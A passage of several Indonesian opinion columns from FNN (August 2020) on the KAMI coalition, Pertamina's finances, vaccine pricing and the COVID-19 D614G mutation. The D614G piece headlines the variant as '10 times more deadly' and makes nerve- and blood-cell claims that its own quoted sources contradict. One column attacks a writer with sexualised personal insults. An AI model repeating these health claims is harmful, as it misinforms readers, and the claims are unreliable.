Indonesia katanya. 1) Roger telah menyatukan mereka yang dinilai kelompok intolerant. 2) Roger membantu Guru Besar tersebut memperbanyak follower tweeter-nya. Penjelasan saya di atas sebelumnya, telah menjelaskan bahwa Roger adalah pewaris pikiran kaum liberal. Pikiran yang di jaman Belanda dan Kemerdekan, disebut orang-orang Partai Sosialis Indonesia (PSI). Namun, paska kematian Dr. Syahrir dan kematian Rahman Toleng, gurunya, transformasi telah terjadi pada Roger. Roger telah mengasah dirinya menjadi kekuatan pencerah bagi bangsa dan perjalanan cita-cita bangsa. Istilah intoleran, misalnya, dalam pandangan kekinian Roger bukanlah sekedar pembelahan sosiologis. Namun intolerant bagi Roger adalah kritikan kepada orang-orang kaya supermewah di kaki Gunung Pancar. Mereka yang telah merampok air dari orang-orang petani miskin di wilayah atasnya. Kelompok intoleran bagi Roger bukan lagi mayoritas Islam yang ingin menegakkan Kalimat Tauhid. Namun adalah segelintir orang yang menguasasi 80% kekayaan bangsa kita. Mereka yang menjadikan orang-orang miskin menjadi pengemis di negerinya sendiri. Professor atau bukan, buat Roger adalah soal kecil. Sebagaimana ejekan guru besar itu padanya. Bagi Roger, guru besar jika otaknya kecil, akan tidak bermakna apa-apa. Tidak ada manfaatnya, termasuk untuk snag guru besar. Dalam sejarah "Genocide" pada jutaan orang-orang Jahudi di Jerman di masa Hitler adalah karena hampir semua guru besar terlibat mendukung kebijakan Hitler. Sebagai seorang filsup, kekuatan Roger adalah di "otak besar" yang melampaui batas-batas epistemologi dan methodologi. Sebab epistemologi dan methodologi seringkali menjerat kaum cendikiawan pada tanggung jawab kemanusiannya. Sebagai filsup, Roger telah menjadi candu bagi anak-anak milenial dan emak emak untuk kembali belajar filsafat (sebuah ilmu yang rumit dan membosankan). Kemampuan Roger mencerahkan manusia dengan akal sehat dan mudah dipahami, membuat Roger mampu menghimpun banyak pebgikut, "No Rocky, No Party". Guru Besar Airlangga itu kagum kepada Roger, karena bisa menambah jumlah followers setelah debat dengan Roger. Dalam masa tranformasi dunia saat ini karena pandemi (digitalisasi total kehidupan, deglobalisasi, dan social justice) peranan filsup sangat dibutuhkan, disamping ulama-ulama dan tokoh-tokoh agama. Mudah-mudahan Roger akan sebesar atau lebih besar dari Plato nantinya. “Bravo Roger” Penulis adalah Direktur Eksekutif Sabang Merauke Circle.

Zeng Wei Jian Menulis Begitu Karena Dia Tidak Punya Moral

by Asyari Usman Jakarta FNN - Senin (31/08). Penulis angin-anginan, Zeng Wei Jian (ZWJ), kembali membuat ulah. Dia menyimpulkan bahwa di dunia ini tidak ada gerakan moral. Karena itu, dia membuat judul tulisan “Tidak Ada Gerakan Moral”. Tanpa dia jelaskan pun, semua orang paham. Zeng dirobotkan untuk melancarkan “serangan ilmiah” terhadap kehadiran Koalisi Aksi Menyelamatkan Indonesia (KAMI). Dia pun berusaha sekuat tenaga untuk menggambarkan bahwa KAMI adalah gerekan politik. Kita semua mengertilah posisi ZWJ. Pengeluarannya sangat besar. Dia butuh dukungan ‘immoral’ yang besar pula. Agar dia bisa menulis dengan tenang tentang ‘moral’. Jadi, ‘outgoing’ yang besar itu memerlukan ‘incoming’ yang besar. Ini hanya bisa didapatkan Zeng dengan cara ‘intelectual prostitution’. Harus melacurkan intelektualitasnya. Celakanya, Zeng melakukan pelacuran itu terlalu vulgar. Dia lepaskan semua pakaian kecendekiaanya sampai ke titik bugil. Semua terlihat. Termasuk ‘intelectual disorder’ dia ikut terpapar. Rupanya, ‘tubuh’ pikiran penulis yang hidup dalam ketergantungan ini, tidaklah semulus yang dibayangkan oleh para pelanggan yang biasa menggunakan jasa pelacuran intelektual Zeng. Dia mendadani sendiri ‘tubuh’ pikirannya tanpa berkaca lagi untuk memastikan apakah alat-alat make-up yang dia pakai sudah cocok. Zeng kemudian keluar berlenggang-lenggok menjajakan ‘intelectual disorder’-nya yang berbungkus kutipan-kutipan filosofis yang subjektif dan disesuaikan dengan keinginan pemesan. Tapi, ketika dia menulis “Tidak Ada Gerakan Moral”, terbuka jelas bahwa ZWJ adalah pribadi yang mirip dengan terminologi ‘orang tanpa gejala’ (OTG) dalam urusan Covid-19. Artinya, ketika Zeng mengatakan tidak ada gerakan moral, dia sebetulnya sedang mengidap penyakit kehilangan moral. Dia tidak sadar bahwa dia sudah tak punya moral lagi. Sama dengan OTG Covid-19. Orang itu tidak tahu kalau di dalam dirinya ada virus Corona. Zeng tidak menyadari ‘immoral virus’ (virus amoral) yang bersemayam di dalam dirinya. Tidaklah mengherankan kalau Zeng menulis “Tidak Ada Gerakan Moral”. Sebab, dia tidak bisa lagi membedakan mana yang baik dan mana yang buruk. Simply because this guy has removed his sense of morality. Dia membuang konsep moral. Kelihatannya, Zeng sudah lelah hidup bermoral. Sehingga, di dalam ketergantungannya pada pesanan, ZWJ menyimpulkan bahwa semua orang melakukan pekerjaan yang sama seperti yang dia lakonkan. Zeng menyangka semua orang tidak punya moral juga seperti dia. Zeng lupa atau sengaja melupakan gerakan moral yang dilancarkan oleh Mahatma Gandhi, Nelson Mandela, Martin Luther King, Bunda Theresa, atau Marsinah di Indonesia. Berpolitikkah mereka? Tidak harus seperti yang dikatakan Zeng. Bahwa pesan-pesan moral para tokoh itu menyentuh atau bahkan menyinggung para politisi, khususnya para politisi busuk, itu sangat mungkin. Bahwa pesan-pesan moral mereka dirasakan mengancam kekuasaan yang sewenang-wenang, itu juga mungkin sekali. Dalam konteks tulisan Zeng, bisa jadi gerakan moral KAMI diproyeksikan oleh para penguasa sebagai ancaman. Zeng hadir untuk ‘mengolah’ proyeksi ini. Aspek inilah yang dilihat oleh Tom Golway, seorang penulis kontemporer yang juga seorang teknolog digital. “Ideas and creativity are the most dangerous weapons against those who look to suppress freedom. Never underestimate the power of collective, civil discussions with those who hold opposing views.” “Gagasan dan kreativitas adalah senjata yang paling berbahaya terhadap mereka yang ingin menindas kebebasan. Jangan pernah anggap remah kekuatan diskusi sipil kolektif dengan mereka yang punya pandangan yang berlawanan.” Inilah yang dilakukan KAMI. Meramu gagasan. “Konsep,” kata Dr Syahganda Nainggolan –salah seorang deklarator KAMI. Gagasan-gagasan yang akan melahirkan kreativitas untuk menyelamatkan Indonesia. Pertanyaannya, apakah Indonesia sedang terancam? Zeng Wei Jiang mungkin akan mengatakan tidak ada ancaman. Sebab, hanya orang-orang yang memiliki sensor moral yang bisa mendeteksi ancaman. Bagi Zeng, semuanya sama. Negara dalam keadaan terancam atau tidak, tidak ada bedanya. Politik tanpa moral, kekuasaan tanpa moral, ekonomi tanpa moral, bisnis ugal-ugalan, eksploitasi alam semena-mena, tidak masalah bagi Zeng Wei Jian. Semua itu tidak perlu moralitas. Bagi Zeng, penindasan ok, korupsi ok, penipuan elektoral ok, kerakusan bisnis ok. Semua ok. Sepanjang perut dia selalu kenyang dan ‘immoral adventure’-nya tidak teracam.[] Penulis adalah Wartawan Senior FNN.CO.ID

Lebih Ganas 10 Kali, Mutasi D614G Covid-19

by Mochamad Toha Surabaya FNN - Minggu (30/8). Dalam tulisan lalu, saya ungkap tentang adanya varian baru yang sudah ditemukan di Malaysia, Thailand, dan Philipina, yang berkemampuan 10 kali lebih mematikan dibanding Covid-19. Apalagi, saat ini mutasi Virus Corona sudah lebih dari 500 varian. Ternyata, karena gennya bermutasi, mutannya ada yang “bersifat” tidak hanya ke reseptor Angiotensin Converting Enzyme 2 (ACE2) saja, tetapi langsung menginfeksi sel-sel saraf. Manifesnya bisa meningitis. Ada juga yang langsung berikatan atau nempel di sel-sel darah merah, sehingga manifestasi klinisnya seperti DB, tapi setelah dites PCR: positif. Ini banyak ditemukan di pasien-pasien anak di rumah sakit. Jadi, Covid-19 tersebut tak hanya menginfeksi di saluran pernapasan seperti yang selama ini beredar! Dia mampu menyerang saluran pencernaan dan syaraf. Varian baru itu diberi Kode D614G. Farmasetika.com pada dua pekan lalu menulis, Institute of Medical Research (IMR) telah mendeteksi mutasi Covid-19 tipe D614G dalam tes kultur sampel yang diambil dari 3 kasus yang terkait dengan Cluster Sivagangga, dan satu dari Cluster Ulu Tiram, Malaysia. Sebelumnya, pada Juli 2020 ditemukan di Eropa. Dalam sebuah posting Facebook, Direktur Jenderal Kesehatan Malaysia Datuk Dr Noor Hisham Abdullah mengatakan, mutasi D614G pertama kali terdeteksi pada Juli 2020. Dan, penelitian kemungkinan akan mengungkapkan, vaksin apa pun yang ada tidak efektif melawan mutasi tersebut. “Itu ditemukan 10 kali lebih mungkin untuk menginfeksi individu lain dan lebih mudah disebarkan oleh individu penyebar super,” jelasnya seperti dikutip dari New Straits Times, Minggu (16/8/2020). “Selama ini, kedua cluster tersebut terkendali karena berbagai kontrol kesehatan masyarakat di lapangan,” lanjutnya. Meski demikian, masyarakat harus tetap waspada dan berhati-hati karena Covid-19 dengan mutasi D614G telah terdeteksi di Malaysia. “Terus melakukan tindakan preventif dan (tetap) patuhi standar operasional prosedur yang ditetapkan, seperti menjaga jarak fisik, praktik kebersihan diri, dan memakai masker saat berada di tempat umum,” ujarnya. Ia menambahkan, pengujian ini masih pendahuluan, dan ada beberapa uji lanjutan yang sedang dilakukan terhadap kasus-kasus lain, termasuk kasus indeks kedua klaster. Dr Noor Hisham menekankan, situasi Covid-19 di negara itu terkendali dan Kementerian Kesehatan, bersama dengan lembaga lain, masih melakukan upaya untuk mengekang penyebaran virus corona. “Kerja sama dari masyarakat sangat dibutuhkan, agar kita bisa bersama-sama menekan penularan infeksi Covid-19 dari segala jenis mutasi,” imbuhnya. Covid-19 D614G Mutasi genetik itu ditandai dengan perubahan permanen urutan DNA yang mungkin terjadi karena faktor lingkungan (radiasi UV), atau karena kesalahan selama proses replikasi DNA. Mutasi genetik tersebut bisa terjadi dari banyak jenis, termasuk missense, nonsense, insertion, deletion, duplikasi, frameshift, dan repeat expansion mutation. Mutasi D614G adalah mutasi missense di mana perubahan pasangan basa DNA tunggal menyebabkan substitusi asam aspartat (kode satu huruf: D) dengan glisin (kode huruf tunggal: G) pada protein yang dikodekan oleh gen yang bermutasi. Kodon RNA yang mengkode asam aspartat dan glisin dirancang masing-masing sebagai GAU/GAC dan GGU/GGC. Jadi, mutasi tunggal pada kodon RNA yang menyebabkan pergeseran A ke G tersebut bisa menyebabkan pergeseran asam aspartat menjadi glisin dalam urutan peptida dari protein target. Glisin adalah asam amino nonpolar dengan satu atom hidrogen sebagai rantai sampingnya; sedangkan asam aspartat adalah asam amino polar dengan rantai samping asam. Mengingat perbedaan substansial antara sifat dasar asam amino ini, mutasi D614G diharapkan memiliki implikasi biologis yang signifikan. Secara umum, virus dapat mengalami mutasi genetik yang sering karena beberapa faktor, seperti seleksi alam dan pergeseran genetik acak. Karena faktor-faktor ini dapat bekerja secara berurutan, seringkali sangat sulit untuk mengidentifikasi kapan mutasi virus menjadi lebih umum. Dalam kasus virus corona baru, mutasi D614G pada protein lonjakan virus terjadi pada tahap awal pandemi, dan bukti terbaru menunjukkan bahwa virus yang mengandung residu glisin di posisi 614 kini telah menjadi varian paling umum secara global. Untuk mengidentifikasi faktor penyebab yang bertanggung jawab atas kemunculan cepat G614 yang mengandung virus corona, para ilmuwan telah memantau secara ekstensif semua data sekuensing genom virus corona yang tersedia secara global di database Global Initiative for Sharing All Influenza Data (GISAID). Dengan menggunakan metode bioinformatis yang sesuai, para ilmuwan telah menemukan bahwa mutasi G614G pada protein lonjakan virus adalah mutasi yang paling sering terjadi di banyak lokasi geografis. Sebagai virus pseudotipe, varian G614 memiliki titer infeksi yang jauh lebih tinggi daripada varian D614. Ini menunjukkan bahwa lonjakan mutasi D614G membuat virus korona baru lebih menular dan virus dapat ditularkan dengan lebih mudah dan cepat dari orang ke orang. Selain itu, para ilmuwan telah menunjukkan, orang yang terinfeksi varian G614 memiliki viral load yang lebih tinggi di saluran pernapasan bagian atas dibandingkan dengan mereka yang terinfeksi varian D614. Namun, mutasi D614G itu tidak terkait dengan peningkatan keparahan penyakit. Karena mutasi D614G terletak pada antarmuka antara protomer protein lonjakan yang berdekatan, mutasi ini bisa memodulasi interaksi protomer-protomer dengan mengganggu pembentukan ikatan hidrogen antar-protomer. Menariknya, satu studi yang dilakukan pada pseudovirus yang mengandung D614 atau G614 telah mengklaim bahwa virus yang mengandung G614 lebih rentan terhadap netralisasi yang dimediasi sera. Penemuan ini menunjukkan, mutasi D614G tidak memfasilitasi virus keluar dari respon imun host. Apakah mutasi Spike D614G dikaitkan dengan kasus kematian yang lebih tinggi? Meski tidak ada bukti yang menunjukkan, mutasi D614G dikaitkan dengan peningkatan keparahan Covid-19, sebuah penelitian terbaru yang menggunakan pohon filogenetik lebih dari 4000 genom virus corona telah mengklaim, virus yang mengandung mutasi D614G lebih ganas, dan karenanya, dikaitkan dengan penyakit dengan tingkat kematian yang lebih tinggi. Penelitian ini berspekulasi, patogenisitas virus yang lebih tinggi mungkin disebabkan oleh perubahan konformasi yang dimediasi oleh mutasi pada protein spike, yang memfasilitasi pemaparan situs pembelahan polibasik ke protease seluler. Bisakah mutasi D614G mempengaruhi pengembangan vaksin? Protein spike mendapatkan banyak perhatian dari sistem kekebalan inang karena terletak di permukaan luar virus (protein eksternal). Dengan demikian, mutasi spike D614G tersebut diharapkan memainkan peran utama dalam memodulasi kemampuan virus untuk melarikan diri dari respons imun yang diinduksi oleh vaksin. Namun, ada bukti yang menunjukkan bahwa kemungkinan mutasi D614G mempengaruhi kemanjuran vaksin sangat kecil. Karena mutasi itu tidak berada dalam domain pengikat reseptor protein spike, mutasi kecil kemungkinan memengaruhi kemampuan domain tersebut untuk menginduksi respons imun inang, yang diyakini sebagai prasyarat untuk netralisasi virus yang dimediasi antibodi. Selain itu, sebagian besar vaksin yang sedang berlangsung dikembangkan untuk melawan domain pengikat reseptor, dan dengan demikian, mutasi D614G seharusnya tak berpengaruh pada kemanjuran vaksin. Pengamatan penting lainnya adalah bahwa serum penyembuhan yang diperoleh orang yang terinfeksi virus D614 telah ditemukan bisa menetralkan virus yang mengandung G614, begitu pula sebaliknya. Ini menunjukkan bahwa mutasi D614G tidak mengubah respons imun yang dimediasi oleh antibodi. Kabarnya, sebelum di Malaysia, D614G itu sudah ditemukan di Indonesia. *** Penulis wartawan senior FNN.co.id

Rakyat “Subsidi Paksa” Pertamina Puluhan Triliun

by Anthony Budiawan Jakarta FNN – Ahad (30/08). Belum lama berselang Pertamina mengumumkan laporan keuangan semester pertama 2020 (1H 2020). Hasilnya membuat masyarakat terkejut bukan kepalang. Pertamina rugi Rp. 11 triliun selama 1H 2020. Setara dengan U$ 761,2 juta dolar. Padahal “subsidi paksa” dari masyarakat yang menderita akibat pandemi corona telah menyelamatkan laporan keuangan Pertamina. Unit Penjualan Bahan Bakar Minyak (BBM) di dalam negeri mengalami untung besar. Keuntungan itu puluhan triliun rupiah. Sayangnya, dalam laporan keuangan, Pertamina bilang mengalami kerugian. Masyarakat selalu bertanya-tanya. Kenapa Pertamina bisa rugi besar. Padahal Pertamina sudah “disubsidi” oleh rakyat, meskipun itu subsidi terpaksa. “Subsidi paksa” yang dimaksud adalah masyarakat membeli BBM di dalam negeri dengan harga yang sangat mahal sekali. Jauh di atas harga normal, atau harga pantas, atau harga konstitusi. Karena, harga jual eceran BBM di dalam negeri seharusnya sudah turun sejak lama. Baik berdasarkan kepantasan dan moral, maupun berdasarkan peraturan Menteri Enrgi dan Sumberdaya Miniral (ASDM) yang merupakan turunan dari undang-undang (UU). Dimana harga BBM seharusnya disesuaikan setiap bulan dengan formula perhitungan tertentu, yang mengacu pada harga internasional yang sudah mengalami penurunan tajam sejak awal 2020. Apa mau dikata, ternyata tidak ada penyesuaian harga penjualan BBM di dalam negeri. Rakyat harus membayar “subsidi paksa” kepada Pertamina. UU ditabrak? Tidak masalah. Negeri sudah biasa, silemah tidak bisa berbuat apa-apa menghadapi keperkasaan dan kedigjayaan penguasa. Mau menuntut? Silakan. Sikuat memang kuat segalanya. Juga kuat di pengadilan. “Subsidi paksa” yang diberikan masyarakat kepada Pertamina sangat besar sekali. Mungkin mencapai Rp. 28 triliun selama empat bulan. Dari Meret sampai Juni 2020. Atau bahkan bisa juga lebih. Kita tidak tahu secara pasti karena tidak ada data yang detil. Hanya pemerintah (dan Pertamina yang tahu). Mungkin DPR juga tidak tahu, atau memang DPR tidak mau tahu. Tapi kita bisa memperkirakan berapa penurunan harga penjualan BBM yang wajar selama pandemi. Dengan memperhatikan perubahan harga BBM di negara lain. Karena BBM adalah produk universal yang mengacu pada harga internasional yang sama harganya di semua negara. Homogen. Kita bisa tengok harga penjualan BBM di Malaysia. Karena mereka mempublikasi perubahan harga BBM secara mingguan. Berbahagialah rakyat Malaysia. Berbeda antara langit dan bumi dengan yang terjadi di Indonesia. Pemerintah dan Pertamina menyembunyikan rapat-rapat kenuntungan yang diperoleh dari penjualan BBM di dalam negeri yang tinggi dan memeras rakyat tersebut. Malaysia hanya menjual 3 jenis BBM di dalam negeri, yaitu RON95 (sejenis Shell V-power), RON97 (sejenis Pertamax Turbo) dan Diesel. Harga ketiga jenis BBM tersebut semuanya diturunkan sekitar 40 persen pada periode 11 April sampai 15 May 2020. Indonesia tetap bertahan dengan harga penjualan yang mencekik leher rakyatnya sendiri. Dikonversi ke rupiah, harga BBM (RON95) di Malaysia turun rata-rata Rp 1.500 per liter pada Maret 2020, Rp 2.800 per liter pada April 2020, Rp 2.570 per liter pada Mei 2020, dan Rp 1.700 per liter pada Juni 2020. Ini bila dibandingkan dengan harga pada akhir Februari 2020. Penurunan harga di Malaysia ini bila kita adopsi untuk Indonesia, artinya kalau Pertamina seadil Petronas, yang tidak mencekik rakyatnya sendiri, maka ada lebih bayar kepada Pertamina sekitar Rp 5,4 triliun, Rp 8,6 triliun, Rp 8,9 triliun, dan Rp 5,8 triliun pada Maret, April, Mei dan Juni 2020. Totalnya sekitar Rp 28 triliun lebih. Atau hampir U$ 2 miliar dolar. Perhitungan ini diperoleh dari penjualan gasoline dan gasoil bulanan dikali selisih (potensi penurunan) harga rata-rata bulanan. Penjualan pada Maret hingga Juni masing-masing 115,79 ribu kilo liter, 102 ribu kilo liter, 111,9 ribu kilo liter dan 113,81 ribu kilo liter. Tentu saja perhitungan ini hanya perkiraan berdasarkan data dan informasi yang dimuat di berbagai media. Perhitungan rincinya ada pada Pertamina. Semoga saja Pertamina berkenan memberi koreksi. Sehingga masyarakat bisa mengetaui keuntungan sebenarnya yang di dapat Pertamina. Dengan mendapat “subsidi paksa” dari masyarakat, mustahil Pertamina mengalami kerugian. Apalagi untuk Unit Penjualan BBM di dalam negeri. Dari laporan keuangan yang dipublikasi, Pertamina memang secara operasional dapat dibilang tidak rugi selama 1H 2020. Penjualan 1H 2020 tercatat U$ 20,48 miliar dolar, dengan Laba Bruto U$ 1,61 miliar dolar. Beban Usaha dan Umum mencapai U$ 1,67 miliar dolar. Sehingga Laba Sebelum Pajak Penghasilan (PPh) hanya minus U$ 0,06 miliar dolar AS, atau tepatnya U$ 58,3 juta dolar saja. Anehnya, dalam kondisi rugi seperti ini, Pertamina harus bayar PPh U$ 702,9 juta dolar. Sehingga total Rugi Bersih setelah PPh menjadi U$ 761,2 juta dolar. Ini sangat menarik. Kok bisa, Laba Sebelum PPh hanya U$ 58,3 juta dolar, tetapi dikenakan PPh 702,9 juta dolar AS? Jumlah PPh ini setara dengan laba hampir U$ 3 miliar dolar AS. Artinya, ada unit usaha di Pertamina yang membukukan laba sangat besar sekali. Hanya ada satu kemungkinan untuk itu, yaitu Unit Penjualan BBM yang “disubsidi rakyat” U$ 2 miliar dolar, atau bahkan lebih besar lagi. Keuntungan Unit Penjualan BBM dalam negeri tersebut untuk menutupi kerugian pada unit-unit lainnya, sehingga Pertamina hanya bisa menghasilkan Laba Bruto sebesar U$ 1,61 miliar dolar. Dan Rugi Bersih sebelum PPh U$ 58,3 juta dolar. “Subsidi paksa” dari rakyat yang sedang menderita tekanan ekonomi telah menyelamatkan keuangan Pertamina. Rakyat telah menyelamatkan Pertamina dari kerugian raksasa. Mohon Pertamina, DPR dan Meneg BUMN berkenan memberi koreksi atas angka “subsidi paksa” tersebut di atas. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS).

Rezim Ini, Orang Miskin Tidak Boleh Sehat

by M Rizal Fadillah Bandung FNN- Ahad (30/08). Gila memang. Harga vaksin yang diimpor pemerintah dari China melalui Bio Farma akan bertarif Rp, 440.000, kata Erick Thohir Menteri Badan Usaha Milik Negara (BUMN). Artinya, cukup mahal dengan harga setinggi itu. Kemungkinan hanya orang yang bisa membayar dengan uanga Rp. 440.000 saja yang bisa divaksin. Bagi orang-orang yang mampu, tentu saja uang sebesar itu tidak ada persoalan. Berbeda dengan masyarakat pada umumnya, khususnya yang dikategorikan kelompok rakyat miskin. Nilai vaksin Rp 440.000 tersebut, tentu sangat dirasakan berat. Untuk kebutuhan makan sehari-hari saja masih susah. Apalagi untuk membeli vaksin buatan China. Pemerintah negeri ini memang aneh. Ngotot memaksakan untuk dapat mengambil dan menggunakan dana dari Anggaran Pendapatan dan Belanja Negara (APBN) demi covid 19 tanpa akibat hukum melalui Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Nomor 1 Tahun 2020 yang telah disahkan menjadi Undang-Undang Nomor 2 Tahun 2020. Lalu pemerintah pun mendapatkan dukungan mudah dari DPR, sehingga jadilah UU No. 2 tahun 2020. Akan tetapi untuk vaksin, ternyata masih dibebankan juga kepada rakyat masing-masing untuk bisa mendapatkan. Rapanya orang miskin sangat susah untuk menjadi sehat di negeri ini. Covid 19 adalah penyakit mematikan. Pandemi yang menggoncangkan, dan berdampak bukan saja kepada aspek kesehatan tetapi juga sosial, ekonomi, bahkan politik. Pemerintah pun menetapkan status darurat kesehatan dengan Pembatasan Sosial Berskala Besar (PSBB) sebagai pilihan kebijakan berdasarkan UU No 6 Tahun 2018 tentang Kekarantinaan Kesehatan. Penandatanganan "kerjasama" impor sebanyak 50 juta dosis vaksin dari China pada tanggal 20 Agustus 2020 lalu di Hainan. Penandatanganan tersebut akan ditindaklanjuti dengan pengiriman mulai bulan Nopember 2020 hingga Maret 2021. Penyuntikan vaksin massal pun nantinya akan dilakukan. Masalahnya adalah biaya yang harus ditanggung oleh masyarakat itu sendiri cukup mahal. Malah ada yang mencurigai jangan-jangan Pemerintah sedang berbisnis dengan rakyatnya sendiri. Pemerintah rupanya masih perlu mencari keuntungan dari penjualan vaksin buatan China tersebut dari rakyat. Susah juga ornga miskin untuk menjadi sehat di negeri ini. Akibat pandemi covid-19, rakyat telah mengalami kesulitan bertingkat. Kesulitan yang tidak pernah dirasakan rakyat sebelumnya.Kesulitan tingkat satu, tertekan oleh serangan pandemi covid 19. Sekurang-kurangnya stress dengan protokol kesehatan yang ditetapkan pemrintah. Kesulitan tingkat dua adalah dampak yang mengikutinya. Misalnya soal kerugian usaha, kesempitan mendapatkan lapangan kerja, atau silaturahmi yang terkendala diatara masyarakat. Kini masyarakat juga akan memasuki kesulitan tingkat tiga, yaitu harus membayar mahal biaya vaksin asal China. Rakyat akan semakin merasakan ketidakhadiran negara untuk melindungi dirinya, seperti perintah tujuan bernegara pada alinea ke empat Pembukaan UUD 1945. Negara yang hanya bisa menguras dan memeras rakyatnya sendiri di tengah penderitaan bertingkat. Negara pemberikan fasilitas kepada orang kaya. Sedangkan simiskin semakin menderita. Kini dengan vaksin berharga Rp. 440.000, maka akan bertambah berat beban si miskin untuk sehat di negeri ini. Orang miskin tidak boleh sehat. Penulis adalah Pemerhati Politik dan Kebangsaan.

Menguliti KAMI

by Ubedilah Badrun Jakarta FNN – Ahad (30/01). Kehadiran Koalisi Aksi Menyelamatkan Indonesia(KAMI) mengejutkan Jokowi, Prabowo, Megawati dan publik secara luas. Dunia akademik juga terkejut, karena sebagian besar kelompok oposisi intelektual berkumpul dalam satu entitas koalisi untuk menyelamatkan Indonesia. KAMI muncul di banyak daerah, bahkan di sejumlah negara, terbaru saya dengar di Australia. Reaksi di luar KAMI cukup beragam dan menarik. Relawan Jokowi membentuk tandingan bernama Kerapatan Indonesia Tanah Air(KITA). Sejumlah politisi partainya Prabowo bersuara miring terhadap KAMI. Megawati juga merespon langsung bahwa KAMI kumpulan orang-orang yang ingin jadi Presiden. Publik dan media, baik mainstream maupun non mainstream berhari-hari mendiskusikan keberadaan KAMI dan sejumlah kritik-kritiknya pada pemerintah. Kelompok buzzer menyerang personal tokoh-tokoh KAMI. Bukannya mendebat gagasanya atau kritik-kritiknya. Bahkan peretasan terjadi pada akun media sosial Din Syamsudin, salah satu Deklarator KAMI. Buzzer menyebut KAMI ini kelompok orang-orang sakit hati. Rocky Gerung, salah satu Deklarator KAMI menyebut penguasa dan para buzzer sebagai kelompok sakit jiwa. Sakit hati adalah perbuatan melawan sakit jiwa. Keduanya sama-sama sakit. Entah mana yang sakitnya stadium satu, mana yang stadium empat. Bagaimana secara singkat fenomena ini dibaca dan dikuliti dengan menggunakan perspektif sosiologi politik? Sebagai akademisi, saya tidak ingin terjebak dalam tarikan analisis yang subyektif. Tentu pijakan analisisnya mesti scientifict. Berbasis data dan meminjam beberapa perspektif teori Sosiologi Politik. Cara membacanya bisa menggunakan indikator social movement yang beragam tidak tunggal. Menghindari cara menguliti dengan indikator tunggal sejenis seperti yang ditulis Zeng Wei Jian di akun facebook nya dengan judul "Tidak Ada Gerakan Moral", menguliti KAMI tetapi rujukanya political movement David S. Meyer dan Ralp W Nicholas. Ya, kesimpulanya jelas, karena paradigma analisisnya menggunakan analisis gerakan politik pasti kesimpulanya KAMI gerakan politik. Ini kutipan yang ditulis Zeng Wei Jian : A political movement is a collective attempt by a group of people to change government policy or society with mainly political goals. Jelas perspektifnya political movement, ya pasti kesimpulanya KAMI ditempatkan sebagai gerakan politik. Itu mirip ada satu gelas air putih lalu diberi setengah gelas garam. Lalu diaduk, dan buat kesimpulan itu air garam, padahal obyek asalnya adalah air putih. Coba kita kuliti KAMI dari perspektif yang berbeda. Menempatkan KAMI sebagaimana adanya. Diantaranya dengan menggunakan perspektif social movement theory, atau teori gerakan sosial. Ada banyak teori yang bisa digunakan. Tetapi dalam artikel singkat ini, cukup satu atau dua rujukan saja yang digunakan. Diantaranya perspektif Jurgen Habermas. Jurgen Habermas ketika menjelaskan fenomena gerakan sosial, mengemukakan bahwa social movement dipahami sebagai devensive relations to defend the public and private sphere of individuals againts the inroad of the state system and market economy (Gemma Edwards, Habermas and Social Movement Theory, 2009). Perspektif Habermas tersebut, menggambarkan bahwa sesuatu disebut gerakan sosial, jika terjadi relasi defensif antar anggota masyarakat yang terkonsolidasi untuk melindungi ruang publik dan private mereka. Akiabatnya, masyarakat melakukan perlawan, karena tekanan dari negara (state system) maupun ekonomi pasar (market economy). Sementara menurut Anthony Giddens ( Politics, Government and Social Movements , Sociology 7th Edition, 2013), gerakan sosial dimaknai sebagai upaya kolektif untuk mengejar kepentingan bersama. Juga gerakan untuk mencapai tujuan bersama atau gerakan bersama melalui tindakan kolektif (collective action) di luar lembaga- lembaga formal yang mapan. Dari perspektif Habermas dan Giddens diatas, sudah cukup untuk menempatkan KAMI sebagai gerakan sosial. Karena telah terpenuhinya sarat. Diantaranya sebagai upaya kolektif untuk mencapai tujuan bersama. Melindungi ruang publik dan privat (hak individu sebagai pribadi dan sebagai warga negara). Adanya tindakan kolektif (bergerak bersama). Dilakukan bukan oleh lembaga-lembaga formal mapan, tetapi oleh KAMI yang baru berdiri 18 Agustus 2020 lal. Entitasnya sangat cair, dan non formalistik. Bisa juga meminjam perspektif Sidney Tarrow dalam bukunya Power in Movement : Social Movements and Contentious Politics(2011). Sidney Tarrow yang menjelaskan bahwa sebuah gerakan sosial setidaknya memiliki empat indikator empirik penting. yaitu collective challenge, common purpose, social solidarity, and sustained interaction. Perspektif tersebut menegaskan bahwa dalam gerakan sosial, ada tantangan kolektif yang diyakini bersama. Juga ada tujuan bersama yang ingin dicapai, ada solidaritas sosial, dan adanya interaksi yang berkelanjutan antar mereka. Dengan meminjam perspektif Sydney Tarrow dan membaca fakta KAMI melalui analisis media, dan pengamatan langsung, maka KAMI memenuhi indikator sebagaimana yang ditulis SidneyTarrow sebagai gerakan sosial. Dalam indikator collective challenge, common purpose, social solidarity, and sustained interaction itulah moralitas gerakanya (misi besarnya) bisa dianalisis. KAMI bisa ditempatkan sebagai gerakan sosial berbasis pada kesamaan moralitas. Baik dalam melihat tantangan yang dihadapi, tujuan bersama yang ingin dicapai, solidaritas sosial yang dibangun dan kontinuitas jaringan yang terbentuk. Hal tersebut sesungguhnya juga terlihat jelas pada naskah jati diri KAMI dan Maklumat Deklarasi KAMI. Menganalisis isi dokumen secara mendalam dari sebuah entitas yang kita teliti adalah diantara cara scientifict di bidang ilmu-ilmu sosial. Itulah sebabnya KAMI dapat dibenarkan menyebut dirinya sebagai gerakan moral, karena pengakuan identitas dirinya dalam jati diri KAMI sebagai gerakan moral. Visi besarnya dalam Maklumat Deklarasi KAMI untuk membenahi negara melalui jalur oposisi non partai politik adalah juga moralitas gerakanya yang lebih memperjelas. Posisi KAMI sebagai gerakan moral nampaknya lebih menyulitkan kelompok penguasa dalam mematikan langkah KAMI. Apalagi kemudian dengan jejaring yang semakin luas. KAMI juga sesungguhnya bisa dikuliti dari sisi aktor atau tokoh-tokoh yang terlibat. Secara umum mayoritas tokoh KAMI adalah tokoh dari kalangan terpelajar, cendekiawan, tokoh agama, purnawirawan tentara atau polisi, kelompok profesional, pebisnis, pegawai BUMN, mantan pejabat, jurnalis, buruh, petani, nelayan, mahasiswa, dan rakyat jelata. Dari sisi aktor, sulit untuk memposisikan KAMI sebagai gerakan politik. KAMI hanya tepat ditempatkam sebagai gerakan sosial yang berbasis moralitas bersama (gerakan moral). Bukan gerakan politik. Jika posisi gerakan moral ini konsisten, maka kehadiran KAMI akan terus dirindukan rakyat 